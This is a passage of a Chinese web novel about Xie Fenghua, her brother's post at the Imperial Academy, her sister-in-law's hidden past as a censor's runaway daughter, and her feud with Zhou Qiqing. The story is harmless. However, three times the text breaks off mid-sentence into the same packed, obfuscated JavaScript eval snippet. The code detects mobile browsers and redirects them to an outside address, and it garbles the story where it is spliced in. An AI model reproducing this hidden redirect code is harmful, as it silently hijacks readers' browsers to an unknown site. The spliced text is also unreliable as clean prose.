谢怀世离开后，明玥掩上门，落了锁，这才道：“他走了。” 谢逢华撑开红肿的眼皮，干涩的眼睛随着明玥的身影转动。 明玥端来一碗热汤，“醒了怎么不告诉他？” 撕裂般的痛感从喉间传来，谢逢华张口，声音几乎是从齿缝间析出，断断续续不成话。 明玥倒也没了听下去的意图，抚着她的手道：“好了，省省力气，待你好全再说也不迟。” 用了水，嗓子缓和不少，头依旧疼着。 谢逢华干脆闭目养神。 明玥坐在床边，借着烛火穿针引线。 空寂房间中，唯有针线穿过布匹沙沙的碎响。 “嫂嫂。” “嗯？” “兄长还在生我的气吗？” “不知，明日待他下学，你当面问他。” 幼时兄妹大多和睦，却免不了为了一点小事争吵不休。 谢怀世一生气，就故意冷落谢逢华，不理不睬晾上一两日，谢逢华耐不住寂寞，便捧着池塘边摘来的野花野草，敲响谢怀世的房门。 这时，谢怀世打开门，一边埋怨花中有虫蚁，一边将瓷瓶中枯萎的花草扔掉，换上新鲜芳草。 其实那时的谢逢华并不知错在谁，也不知哥哥因何而气。 只是除了爹娘，家中便只有哥哥愿意陪她，除了宅门，谢逢华只能孤零零去河边摘花编花环。 到了读书识字的年纪，家中请不起教书先生，谢怀世亲自上阵，日日领着她念那些晦涩难懂的书本。 第一堂课，谢逢华问道：“为何要读书？” 谢怀世头也不抬道：“考科举，坐高堂，为君分忧，为民请命。” 谢逢华道：“我也可以考科举吗？” 谢怀世摸摸她的脑袋，道：“你可以做个女夫子，教书育人，桃李天下。” 谢逢华眼睛一亮，拍案而起：“我要当女夫子，我要吃好多桃子和李子！” 谢怀世：“……” 时过境迁，兄长科举名落孙山，为了糊口，经友人推举，成了一个学堂的教书先生。 谢逢华好不容易定下的亲事因未婚夫早亡不告而终，爹娘也先后离去，不得已，只得投奔远在华京的兄长。 “之后，你想做什么？” 谢逢华看向明玥。 火苗摇摆不定，曾经光鲜亮丽的富家千金如今沦为农家妇人，时光易逝，却将少女时的温婉贤淑深深镌刻她的眉宇间。 谢逢华把头埋进被子里，无力而又坚定道：“我想做女官。” “不成。” 谢逢华的嘴角立刻耷拉下来。 谢怀世剥开鸡蛋，放进谢逢华碗中，道：“世道不太平，安分守己才是正途。” “我不是为了钱。”谢逢华执着道。 “为了天下苍生还是雄心壮志？”谢怀世语气严肃，“应时，与梁国的战事才平不久，朝廷动荡不安，人心向背，此时你去了，和白送命又有何异？” “应时，我只有你这一个妹妹，你若出了差池，我还有何颜面见咱爹娘？” 碗中的米汤飘着一点油星，谢逢华低着头，闷闷地不再说话。 谢怀世走后，明玥同情地拍拍谢逢华薄弱的脊背，道：“还记得你兄长曾有个在朝中当官的好友吗？他因一言之差得罪当朝宰相，被贬千里之外，再无起复可能。后来家中遭难，他本人也客死他乡，下场何其凄惨。” 言至于此，明玥轻叹：“自公婆意外离世，你又险些丢了性命，济民整日担惊受怕，他所言之事，未尝不无道理。” 为了使谢逢华养好身子，谢怀世没收了她的书本，藏于柜中并落了锁。 没了读书作消遣，谢逢华在院子里溜达了几圈，明玥实在看不下去，派她去给黄米放饭。 黄米埋头苦吃，谢逢华蹲在狗窝旁，出神地望着它。 真羡慕它啊，不愁吃喝，不愁生计，只要向主人摇摇尾巴，狗盘里永远有足够充饥的剩饭。 “应时。” 明玥提着一竹篮出来，“走，我们入城。” 今日阳光正好，街市熙熙攘攘，吆喝声此起彼伏。 明玥不买吃食不买物什，带着谢逢华穿过大街小巷，最后进了一家头面铺。 甫一进门，正在对账的老板娘像是见到了恩人，扭着腰肢迎上来，“明娘子，可算将您盼来了。” 明玥将篮子递给她，道：“今日铺子里倒是清闲。” “明娘子就别笑话我了，这铺子啊，全靠您的手艺撑着。”老板娘视线落在明玥身后，道，“这位是……” “是我夫君的妹妹。”明玥侧身，对谢逢华道，“这位是我的手帕交，唤她崔姨便可。” 谢逢华乖乖唤了人。 崔兰笑弯了眼：“真是个亭亭玉立的孩子，你若不嫌弃，崔姨这里的首饰随便拿，只当自家。” 崔姨拉着明玥说东道西，说着说着二人便躲去里屋了。 谢逢华落了单，顿然无聊，便在铺子里转悠。 “兄长，就是这里！” 一声欢快的女声打破铺子里的平静。 旋即，一男一女踏入铺中。 谢逢华无意瞥了眼来客，瞳孔骤然紧缩。 “非来此地不可？” 周其卿无奈看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533600|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着周燕飞，“香缨随处可买，为何非要跑这么远？” “这家的香缨比别家精致，绣工独一无二，香料的香气全华京找不出第二种替代品，可惜半年才出那么十几个，根本买不到。” 周其卿嗤笑：“哪有什么无可替代，不过是店家的手段罢了。” 周燕飞与他争论几句，吵着吵着自己先生了气，不再理他。 周其卿抚鼻笑笑，一转眼，正撞见一双不善的眼眸。 “哎，你！” 周燕飞也看见了谢逢华，朝她招招手，道：“燕啼春还有吗？” 是把她当成店小二了？ 谢逢华看了眼小娘子身后的周其卿，摇头。 周燕飞面露失望之色，转而对周其卿道：“你瞧，我才来，那香缨便没货了。” 周其卿抱臂，目光直勾勾审视着谢逢华。 谢逢华还拧着气，不愿多理，欲去里屋唤崔姨出来。 周其卿倏然道：“这位娘子，看着脸熟，我们可曾见过？” “公子认错人了。”谢逢华避开他的目光，径直朝里屋走去。 崔姨出来迎客，听到周燕飞要燕啼春，道：“哎呦，赶得巧，赶得巧啊。” 说着，崔姨从明玥挎来的竹篮中寻觅一番，翻出一个绣着一只飞燕的樱色香缨。 “您瞧瞧，这可是刚进来的货。” 趁着崔姨还在宣扬推销，谢逢华悄悄靠近竹篮，探头张望，才发现竹篮里是各色各样的香缨。 幽香自竹篮而出，如野花，如清风，令人心旷神怡。 周燕飞欣喜若狂，踮起脚尖，香缨举到他鼻尖，“哥哥，你闻。” 周其卿收回视线，蹙眉，向后推了几步，避开香缨，“不过如此。” “哥哥就是扫兴！”周燕飞取荷包结账，旋即甩开周其卿，捧着香缨蹦蹦跳跳地离开了。 崔姨对谢逢华道：“应时，崔姨新酿了桃花酒，要不要进去小酌一杯。” “崔姨，我不饮酒。” “糖糕呢？” “可以。” “好，我去后厨给你拿。” 崔姨离开后，谢逢华倏然松了口气。 “应时？是你的小字吗？” 谢逢华猛然抬头看向他，不情不愿道：“与你无关。” “拿钱不认人，你倒是绝情。”周其卿随手拾起一枚银簪，百无聊赖地捏在指间把玩。 见被认出，谢逢华也没了顾虑，尤其听闻周其卿满含指责的话语，气恼地挺直了腰板，道：“论绝情，周世子当之无愧。” 周其卿挑眉，神态自若：“钱我按约定给你了，你东西不给我便罢了，怎还倒打一耙？” “你何时给我钱了？”忆起那日的狼狈，谢逢华气不打一处来，“倒是你，专挑了个好日子戏耍我，我竟不知周世子是如此背信弃义的小人！” 周其卿头一次被人没头没脑骂的狗血淋头，愤然将手头物什往筐子一丢，震得里面东西叮当响。 “戏耍你？本世子费心费力替你保管坠子，你倒好，东西不给我便罢了，还给本世子扣好大一顶帽子，本世子简直瞎了眼才觉得你可怜！” “谁需要你同情？少自作多情！”谢逢华死死盯着周其卿，藏在袖中的手抖如筛糠。 “好，好，好。”周其卿指着谢逢华，怒极反笑，“日后，就算你求我，我也不可能再对你心软一次！” 撂下话，周其卿愤怒甩袖，摔门而去。 5. 第 5 章 “你和人吵架了？”明玥将炊饼用油纸裹好，递给谢逢华。 谢逢华接过，吹去热气，漫不经心道：“没有。” 怎么可能没有，二人的争吵声几乎能把屋顶掀翻。 那周家世子果真如传言般无礼，不认错不悔改，倒真是符合周家的本性。 明玥用卖香缨换来的钱买了些布料，又顺路采购了一些笔墨，最后问谢逢华想要什么。 谢逢华捧着炊饼吃得正香，闻言摇头。 “要不要去买书？” “我已经全背下了，不用买。” 明玥便买了些饴糖，塞给谢逢华，“别让你哥哥知道。” “知道什么？” 谢怀世从歪七扭八的字迹中抽离，望向崔历。 崔历道：“你告假的那些天，学堂来了个达官显贵，说要举荐你去太学授书呢。” 达官显贵？ 谢怀世将平生所结识的友人翻找了一遍，除了那位遭难的友人，谢怀世实在想不通还有谁会举荐他。 但他早已故去，哪里还能举荐。 正思虑着，碰巧山长来探望。 山长须发尽白，仙风道骨，总是一副乐天无忧的模样。 山长问了家人安好，寒暄几句，开门见山道：“前几日老夫有个在宫中做事的友人来探望，说太学紧缺学正，官家打算从民间学堂征召，我打算举荐你去应征。” 听到“征召”一词，谢怀世眸光闪动，又很快悄无声息地黯灭了。 谢怀世拱手道：“多谢先生好意，只是家中尚有妻妹，路途不便，还请另请高明吧。” 一旁的崔历原本兴致勃勃，一听这话，呲着的大牙立刻收了回去，“济民，你糊涂啊，太学学正俸禄每年百石，若日后有机缘晋升博士，只多不少，足够你们一家温饱，何必执拗与一时的安稳？” 山长也劝道：“是啊，济民，虽说日后可能难以归家，但若攒够了钱，在城中购置一处离太学进些的房屋，也不是难事。济民，机会可遇不可求，错过了后悔一辈子啊。” 谢怀世面露犹豫之色，沉吟半晌，道：“回去我与月儿商议再论。” “为什么不去？” 明玥盛了汤，把碗递给他，“若无天灾人祸，家中衣食也足够温饱，太学多少人挤破头都进不去，你有这大好机会，还不赶紧收拾包袱准备面圣？” “我们现居城西，太学居于城东，一去百里路，日后定然居于太学中，你们两个女子，我实在放心不下。” 明玥抄起铲子拍向他脑门，“女子怎么了？离了你这家还不过来？你的吃穿用度哪个不是老娘我操持来的？应时会读书，到时候让她顶替你去学堂教书，无病无灾的，过日子绰绰有余！” 谢怀世捂着脑袋：“娘子说的对。” 明玥剜他一眼，指了指一旁的木桶：“打水去。” “遵命。” 谢逢华牵着黄米，从外面遛弯回来，听说了举荐的事，心下虽不舍，但想到有了这笔钱，他们日后生活也能好过些，也就点头赞成了。 谢怀世离开的前一夜，谢逢华辗转难眠，索性起身，系了披风，来到院中透气。 不巧的是，谢怀世也在院中赏月。 “兄长。” 谢怀世见怪不怪，“又睡不着了？” “嗯。” 树叶沙沙，摇曳着晚风。 月光洒在二人身上，将兄妹的影子拉得悠长，小时候那些数不清的月夜，变成了记忆中永远回不去的过往。 “兄长还会回来吗？” “会。” “多久才能回来？” “……” “兄长？” “应时。”谢怀世弯腰，拉过谢逢华的手，轻轻捂在掌心，“照顾好自己，护好你嫂嫂，哥哥只有你们了。” 谢逢华低头，强忍鼻尖酸涩，哽咽道：“当年你背井离乡，一走就是好几年，现在我们好不容易团聚，你又要……哥哥，你总是这么自私。” 谢怀世张了张口，欲言又止，只张开双臂，将谢逢华轻轻搂进怀中。 “不哭了，”谢怀世拍着妹妹的脊背，叹气道，“从小到大哭相都这么难看。” “谢、怀、世！” 蓄在眼眶的泪水荡然无存，谢逢华抬脚照着他的脚面踩去。 谢怀世笑着后退躲开，来回几次，把谢逢华折腾累了，笑眯眯摸乱她的乌发，“乖，太晚了，回去睡觉。” 说罢，谢怀世摆手，轻飘飘拂袖而去。 毫无睡意全是恨意的谢逢华：“……” 许是太过气恼，谢逢华越想越气，在床上翻来覆去折腾到雄鸡报晓，昏昏沉沉睡了过去。 醒来时，谢怀世已经离开了。 “昨夜没睡好？” “被某人气的！”谢逢华握着筷子，咬牙切齿道，“他最好这辈子都别回来。” 明玥看着她乱糟糟如鸡窝般的头发，叹气，转身回了卧房。 谢怀世一走便是一月余，期间寄来一封信和几贯钱，信里一部分简单描述了近况，剩下的便是嘘寒问暖的思念之情。 “竟写些无用的。”明玥扫了两眼，收了钱，将信纸丢还给谢逢华，“你回信告诉他，下次直接寄钱回来就行，其他的别写，腻歪。” 谢逢华：“……” “对了，”明玥走了两步，又退了回来，抓了一把钱塞给她，“你今日替我去城中买些做衣裳的绸子吧，去春意坊买，她那里的料子好。” “钱不够就少买些，若有余下的，你就自己买些你喜欢的。” 谢逢华常替明玥跑腿，攒了些余钱还了书肆的书钱，至于再多的，便攒下来，以备不时之需。 谢逢华来到春意坊，按嫂嫂所言的尺数采买了布匹，随后又转道去了崔姨的头面铺。 崔姨见她来，喜出望外，招呼人奉茶。 “今日想要什么？发簪、璎珞、还是……” “我是给嫂嫂挑的。”谢逢华脸上发烫，磕磕绊绊地比划道，“过几日是嫂嫂生辰，我想给嫂嫂挑个合适的簪子。” “哎呀，谢娘子真是懂事儿啊。”崔兰撑腮看着她，笑眯了眼，“只是你嫂嫂出身高贵，一般的玉簪怕是入不了她的眼。” 谢逢华一点即通，原本就拮据的手头因她的话不由得更紧张了些。 “崔姨觉得，嫂嫂喜欢什么？”谢逢华求知若渴。 崔兰故作深思，吊足了谢逢华胃口，才悠悠道：“大抵是你兄长吧。” 谢逢华疑惑：“兄长？” “是啊，当年御史家千金为了一个穷书生逃婚的事在华京闹得沸沸扬扬，御史大人派人寻了几天几夜都没能把他们抓回来，气得险些见阎王，最后连官家都亲自登门慰问，这在华京可是独一份‘偏宠’呢。” 谢逢华骤然变了脸色： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533601|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嫂嫂是御史千金？” “你竟不知？”崔兰见她不似伪态，这才意识到捅了娄子，忙道，“哎呦我就是随便说说，你莫要当真，来瞧瞧这枚玉簪，你可喜欢？” 谢逢华已无心采买，满心都是那句“御史千金为了一个穷书生逃婚”。 当年兄长赌气离家，谢逢华只知他临走时带走了一个小娘子，没想到如今干活麻利骂人凶狠的嫂嫂，竟然是御史家逃婚的千金！ 谢逢华问道：“御史大人还在寻找嫂嫂吗？” “早就不找了，对外宣称断绝关系，此生不见。”崔兰忆起往事，不免叹惋，“可惜明家半生辉煌，却只出了明玥一个才女，几个儿子死的死残的残，如今日渐西山，怕是时日无多了。” 谢逢华选了枚飞鹤玉坠，崔兰想到她有个匣子，便去后院取。 谢逢华端详着玉坠，忧心忡忡。 谢怀世啊谢怀世，你捅了这么大篓子，是怎么安然无恙活到现在的？ “哎，你！”一声娇喝骤然在耳边乍响。 谢逢华看清来人，蹙眉：“是你。” “没错，就是本小姐！”周燕飞得意扬起桀骜的脸蛋，指着谢逢华手中的坠子，道，“本小姐看上这枚坠子了。” 周家人都是如此无礼吗？ 谢逢华欲斥责，忽而余光瞧见她耳上的坠子，讶然道：“这珥珰……你从何而来？” “这个？”周燕飞以为她喜欢，道，“我兄长送给我的赔礼，你若诚心想要，就用你手中的玉坠跟我换。” 兄长？周其卿？ 周其卿居然把她抵押给他的东西送给别人了？ 所以这才是周其卿失约的缘由？ 谢逢华死死盯着周燕飞耳上的玉坠，一字一顿道：“这是我的东西。” “不给就不给。”周燕飞白她一眼，嘟哝，“小气鬼。” 谢逢华欲说什么，恰好崔兰捧着匣子回来，热情招呼谢逢华装坠子。 “崔老板，我要这个坠子！”软的不行，周燕飞干脆利落地甩出一甸银子。 “周小娘子，”崔兰习空见惯，耐着性子道，“这是我送给这位姑娘的，不外卖。不如您再瞧瞧旁的？” “做生意不就是为了钱？”毕竟年纪稍小，沉不住心气，周燕飞不满道，“有钱不赚，怕不是撞坏了脑子。” 这话着实有些冒犯了。 原本崔兰客气几句也就罢了，此话一出，崔兰登时火冒三丈：“周娘子，凡事讲究先来后到，况且我送她是为人情，不是为了钱，也不是所有掌柜都是见钱眼开的种。” 幸而今日铺子内客人不多，不然若此事闹大，得知周家，崔兰便没这么容易收场了。 在崔兰赶客前，谢逢华及时拦下了她。 谢逢华对周燕飞道：“我用坠子换你的珥珰，如何？” 崔兰竖眉，俨然对她这一行径表示愤慨。 谢逢华朝她赔笑，将装好的玉坠取出，递给周燕飞。 周燕飞倒也爽快，玉坠一到手，利落交还了珥珰。 怕她们联手倒打一耙似的，周燕飞又补了些玉坠的钱。 正要离开时，谢逢华叫住她。 “这珥珰，当真是你兄长送你的？” 周燕飞摸了摸鼻尖，笃定道：“这是自然，兄长最疼我了。” 谢逢华抱着匣子，笑容森冷： “你哥哥，现在在哪里？” 6. 第 6 章 自那日过后，谢逢华腹中窝火，几日不散。 明玥瞧出她心中有事，怕她再想不开离家出走，旁敲侧击了几天，最后做了一碗香饮子，才撬开了谢逢华的嘴。 明玥对暴露身份的事并无波澜，只在听到谢逢华意图去太学寻人时，神色少有凝重。 “嫂嫂知道你为人刚强，你娘的遗物你也要到手了，恩怨两清，再争下去，只会伤了你自己。” 谢逢华小口啜饮着清甜的汤汁，不服气似的抱怨了句：“我只是想想，没真的想去找他。” “想想便罢了，莫让一时冲动误了正事。” 明玥轻叹，将手中拎着的一篮鸡蛋交给她，“方才赵家媳妇找我借鸡蛋，我腾不开手，你替我跑趟腿，把鸡蛋送去。” 谢逢华捧着香饮子，觑了她一眼，道：“不去，她们总说我闲话。” “那又如何？她说她的，咱们过咱们的，你若真气不过，去后院拿个铁锹，去城外把他家老祖宗的坟铲平了。” 谢逢华哑然，不可置信地看着明玥，“嫂嫂？” 明玥眯着眼笑弯了腰，抹了把泪，道：“去吧去吧，她若再说你，回来告诉我，我替你出气。” 谢逢华撇嘴，自是心中不愿，也只得乖乖提上篮子，迈出了门槛。 不到片刻，门口传来黄米的犬吠。 一人穿过小院，踏入屋内。 “怎么了，是忘带东西了吗？” 明玥抬眸，看清来人，笑意骤然凝固在脸上。 — 谢逢华不善地盯着满脸横肉的赵家小子。 他的目光比院中悬挂的猪肉还要油腻，分明畏惧她的身世，可又抗拒不了身体的本能，黏糊糊地随着她的动作晃动。 见状，赵家媳妇赶忙将自家宝贝儿子推进屋内，边推搡着边暗骂：“晦气东西，可别克死我赵家的独苗苗。” 谢逢华充耳未闻，将篮子递给迎上来的赵家婆婆，“你们要的鸡蛋。” 赵婆婆接过篮子，朝里张望一眼，脸上的皱纹倏然淡了几分，“谢娘子啊，你瞧我家残的残老的老，做不动农活，这说好的三文钱，不如就先欠着吧。” 赵家借物不给钱不是一次两次了，了解他家的都不自觉退避三舍，只有明玥看在邻居一场的份上多有扶助。 欠钱积少成多，明玥偶尔找他们索要过几次，钱要回来的次日，他们就又来索要其他东西。 久而久之，明玥看破了他们的心思，也懒得深究，明面上依旧任他们索要，背地里做了些手脚。 比如提前将他们要的肉泡在泻药里，再比如往他们借的布匹里放痒痒粉…… 明玥要多损有多损，教学相长，连带着谢逢华也学到了些精髓。 谢逢华早知他们会来这套，倒也不恼，环顾一圈，点头便走了。 赵家人目送她出了门，不约而同松了口气。 而在赵家人看不见的地方，谢逢华拎起树下静候多时的锄头，头也不回地朝城外走去。 谢逢华拖着锄头，哼着小曲走到家门外时，抬眼看到了一匹浑身黢黑的马儿拴在院中，平日看见生人就犬吠的黄米也不叫唤了，一双大眼睛凶巴巴盯着那匹黑马，被布袋捆住的嘴筒子发出呜呜的闷哼。 “嫂嫂？”谢逢华心中骤然一紧，丢下锄头奔入屋内。 明玥端坐正堂，一旁坐着个紫袍公子，约摸与明玥差不多年岁，正襟危坐。 像是糊了满脸沙土，他的脸色难看得吓人。 那人睨她一眼，鼻腔发出冷哼。 “嫂嫂。”谢逢华小跑到明玥身旁，紧张地盯着那人。 明玥放下绣绷，拉着她的手上下打量：“去哪个泥坑里沐浴了？衣裳都脏了。” 谢逢华低头看了看裙摆和鞋上的泥泞，胡乱抹了把脸，得意道：“我去了趟城外。” 明玥会意，嘱咐她先去换身衣裳。 换了干净衣裳出来，堂中已不见了男子踪迹，就连院外的马儿也不翼而飞。 “那人是谁？” “无关紧要之人。”明玥抬手赏了她一个脑瓜崩，道，“跑那么远，就不怕被人拐跑？” 谢逢华捂嘴偷笑：“我克夫，无人敢拐的。” 明玥宠溺笑笑，低头继续缝制新衣。 待新衣绣好，明玥起身收拾行李。 谢逢华正坐在院中矮凳上，腿上放着翻了几页的书，侧身用骨头逗引黄米。 黄米瞥了眼还没巴掌大的骨头，甩甩尾巴，扭头就走。 谢逢华：“……” 明玥拎着包袱上前，郑重其事地交给她：“近日变天，你替我把这厚衣送到你兄长那里。” 谢逢华点头：“嫂嫂不去吗？” 明玥道：“我若走了，家中大小事务该由谁操持？” “事不宜迟，今日就出发罢。” 华京城宽，从城西走到城东最快也要一两日。 明玥在谢逢华的荷包内塞了些银子，又让谢逢华换了身更为轻便的衣衫和鞋子。 在谢逢华一步三回头的张望中，夕阳下，明玥笑着朝她摆摆手。 “早去早回。” 走到城中时，天已经完全黑了。 街边接连燃起灯火，不多时，大街小巷灯火通明，宛若白昼。 谢逢华四下张望，寻了处客栈，开了间客房，打算歇一晚再继续赶路。 赶了半天路，谢逢华饥肠辘辘。 下楼看了眼菜单和价钱，谢逢华捂紧了荷包，灰溜溜逃出了客栈。 街市繁华如昼，美食的香气沿着万家灯火涌入大街小巷。 谢逢华买了一笼素包子，吃了两口便住嘴，剩下的包子打算充当明日的早饭。 正琢磨今夜如何度过，余光不经意一瞥，周其卿的身影猝不及防撞入她的眼中。 遥遥望着不远处结伴而行的几人，谢逢华快步追了上去。 那几人嬉笑打闹，大摇大摆进了一家酒楼。 谢逢华看了看楼外招揽客人的老鸨和浓妆艳抹的歌女舞女们，视线上移，在酒醉人熏的灯火中，“芳春楼”几个大字格外夺目。 这里是青楼？ 谢逢华暗暗思忖，周其卿不在太学里读书，跑来这种地方做什么？ 一舞女看见阶下的谢逢华，不知是招揽还是逗弄，朝她挥一挥香帕，嬉笑道：“哎，小娘子，是来寻夫还是寻欢？要不要进来喝一杯再走呀？” 她们香肩半露，声调婉转，媚眼如丝，勾得谢逢华红了脸。 谢逢华头摇似拨浪鼓，顾不上周其卿为何会出现在这里，仓惶逃开了。 临走时，无意撞到一人，那人念叨了句“无礼”，一撩大红襕袍，朝着老鸨走去。 “哎哟，官爷！” 一见来人，老鸨心道不好，一边迎上去，一边偷偷在身后打着手势。 歌女抱着琵琶，趁着人多眼杂，转身跑进楼内。 周围鱼龙混杂，饶是路过的客人都忍不住朝他张望，似乎想不通谁会穿着官袍来这种烟花场所寻欢作乐。 那官人被盯得不自在，干咳一声，问道：“方才有三个十多岁的公子进了你们芳春楼，为首的姓周，你们可曾见过？” “官爷，这人来人往的，十几岁长得像二十多的，二十多的长得像三五岁的，我们可分不出哪个是您要找的公子。” 老鸨赔笑，脸上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533602|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脂粉挤成一团，试探道：“要不……您进去找找？” “本官跟了他们一路，亲眼看到他们进了你们芳春楼。” “是的嘛，您既说他们进来了，那您也进来找找嘛。”老鸨更加笃定他不愿踏入芳春楼，腰板也硬了起来，“我们芳春楼上到官家贵人，下到平民百姓，来者不拒，您想进就进，想走就走，姑娘们也不拦着。” “你！” 见她摆明了不愿配合，那官爷暗骂了几句，愤愤剜了一眼老鸨，甩袖离去。 待人走远了，方才的琵琶女不知何时回来了，探头从袖中摸出一甸沉甸甸的银子，道：“妈妈，周世子请您喝茶。” 老鸨夺过银子，掂了掂质感，弯着眉眼纳入袖中，“你且接客，我去去就回。” 老鸨瞥了眼远处的红色身影，啐了口唾沫，扭着腰，上了顶楼。 茶室门开，两人正对酒划拳，早已喝得脸红脖粗。 一人斜倚在榻上，兀自饮酒，神态自若。 “周世子。” 老鸨小心翼翼地观察着榻上人的神色，“那人已经走了。” 周其卿从澄澈的酒水中抽神，淡淡“嗯”了声。 “世子，需不需要给你唤几个弹琴唱歌……” “不必。”周其卿道，“半个时辰之内，别让任何人进来。” 老鸨不再多言，退出了茶室。 室内重归平静，章旭松了口气，仰头躺倒在地上，“刘尽才一把老骨头居然跟了一路，当真是个难缠的。” 同斋嬉笑：“你烤锦鲤的时候怎么就没想过他难缠呢？” 章旭窘道：“谁想得到那鱼是博士养的？早知被他盯上，那时就该翻墙去河边抓鱼吃。” 说罢，章旭回味似的咂舌，“那锦鲤肉少，塞牙缝都不够，还是城西河中的鱼肉鲜美，一条足有十多斤重，世子，你说是不是？” 周其卿睨他一眼，昂首将美酒一饮而尽，“无趣。” 章旭和同斋对视一眼，凑上前，道：“世子还在为谢学正当堂罚你的事闹心？” 今早，周其卿不过是晚了一刻钟到学堂，那谢怀世居然罚他抄一整本《说礼》。 周其卿的书早就被那谢小娘私自扣下，本来书没拿回来就烦心，尤其眼前人和她都姓谢，周其卿莫名恼火，忍不住回了几句嘴。 放在往常，其他先生见他暴怒，给个台阶下也就翻页了。 可这谢怀世不知着了什么魔，揪着他刨根问底，甚至下堂之后告到了容祭酒那里。 无人愿意为了一个小小的学官得罪当朝宰相。 更何况祭酒也要看周世子几分脸色。 祭酒和了几句稀泥，意思简单明了——大事化小，小事化了。 事已至此，再蠢的人也该清醒，就此作罢。 谢怀世仍固执己见，不肯退让，执意要将事情追究到底。 简直比蠢人还蠢。 最后祭酒不知和他说了些什么，谢怀世最后让了步，却坚持要罚周其卿抄书以儆效尤。 “什么东西，也配罚我？”周其卿不以为意。 另一人接话道：“据我所知，这谢怀世才来不到二月，得罪了不少太学生，若非刘博士护着，怕是早就死无葬身之地了” 章旭道：“依我看，不如明日找些同斋，绑了他蒙上麻袋教训一顿，让他知道谁才是这太学的主子。” 想到明日谢怀世鼻青脸肿给他磕头道歉的滑稽姿态，周其卿心情大好，懒懒打了个哈欠，道：“随你们。” 顿了顿，周其卿嘱咐道：“教训几下便罢，别把人伤了，闹大了不好收场。” 那两人对视一眼，拱手道：“是。” 7. 第 7 章 谢逢华又赶了半天路，背着包袱吭哧吭哧抵达太学门下。 此时并无半分暑气，汗水却浸湿了衣衫。 怕贸然前往扰了兄长讲学，谢逢华又在附近茶馆多等了一会儿。 等到夕日将坠不坠，谢逢华才登上太学的石阶。 青玉阶梯之上，翡色琉璃瓦下，据说由先帝亲笔题写的“太学”二字高高悬挂于朱红门上。 门两侧各有佩刀的门子，见她上前，顿然警觉：“站住，做什么的？” “二位大哥，我来找人。”谢逢华道，“寻一个叫谢怀世的学正。” 闻言，门子上下审度她一番，道：“可有他的信物？” 信物？ 谢怀世信中没提探亲还要信物作证啊。 谢逢华不知所措，摸遍全身，无果，破罐子破摔似的，恳求道：“可否替我通传一声？就说应时来见，他自会懂得。” 二人睨了她一眼，见她衣着朴素，两手空空，更没有掏钱的意思，顿感无趣，摆手道：“太学学官几十余人，我们怎知哪个是你要找的人？没事赶紧走，别耽误正事。” 这无疑是下了逐客令。 谢逢华沮丧之余，欲另寻他法，余光忽而觉察到门内另一道灼热视线。 鬼使神差的，谢逢华抬眼望去，波光粼粼的湖边，周其卿抱臂而立，眼中满是戏谑。 不知周其卿为何会出现在这里，可瞧他看热闹不嫌事大的样子，十有八九见证了谢逢华的窘态。 四目相对，周其卿迈步朝这里走来。 谢逢华心道晦气，本意欲走，可这身犟骨却不甘示弱，牢牢定在原地。 谢逢华在外，周其卿在内，中间只隔着一道青石门槛。 “世子。”门子施礼，见周其卿目不转睛盯着门外的娘子，犹豫道，“此人您可识得？” “不识得。”周其卿看着面前这个矮他半头的小娘子，语气散漫，“她吓跑了本世子的鱼，本世子来瞧瞧。” 门子不由得松了口气，道：“扰了世子清净，小的这就赶她离开。” 听到要赶她走，孤独无援的谢逢华慌不择路，欲迈步向前，猝不及防被脚边门槛绊了一跤。 手忙脚乱下，一不留神，本能抱住了近在咫尺的周其卿。 她这招出其不意，三个男子同时愣在原地。 周其卿抬起的手僵在空中，身体一动也不敢动。 迎面而来的是桂花的甜香，旋即温热的身躯灌满胸膛，骨肉碰撞的闷痛顷刻散去，唯有心跳扑通颤动，脸颊滚烫。 “你……” “世子，帮我。”谢逢华眼眶湿漉，可怜得模样将他所有的话语堵在喉间。 周其卿想推开她，大声告诉旁人此人阴险狡诈、不守信用、诡计多端—— 可偏偏手脚不听使唤，这手就这么虚环上那堪堪手掌宽的纤腰。 谢逢华踮起脚尖，凑近那涨红的耳尖，轻道：“您也不想让家中知晓您去芳春楼的事吧？” 晴天霹雳，劈裂梦云。 周其卿骤然从恍惚中惊醒，觉察到被戏弄后的火冒三丈，可又碍着旁人的目光，只能咬咬牙，被迫折下腰，低声质问道：“你怎知我去过？” 潮湿的呼吸间，似有若无的酒香萦绕鼻尖。 谢逢华微笑，目光却越过他，遥望向他身后的庭院。 觉察到她走神，被冷落的周其卿不满，掐住她的下巴，掰正她的脸，“说话！” “帮不帮我？”谢逢华只问他这一句。 “恶妇！”周其卿暗骂。 再抬眼时，眉宇间依旧挂着惯有的散漫，“人小爷我带走了，旁人问起来，让他直接来找小爷。” 这便是答应了？ 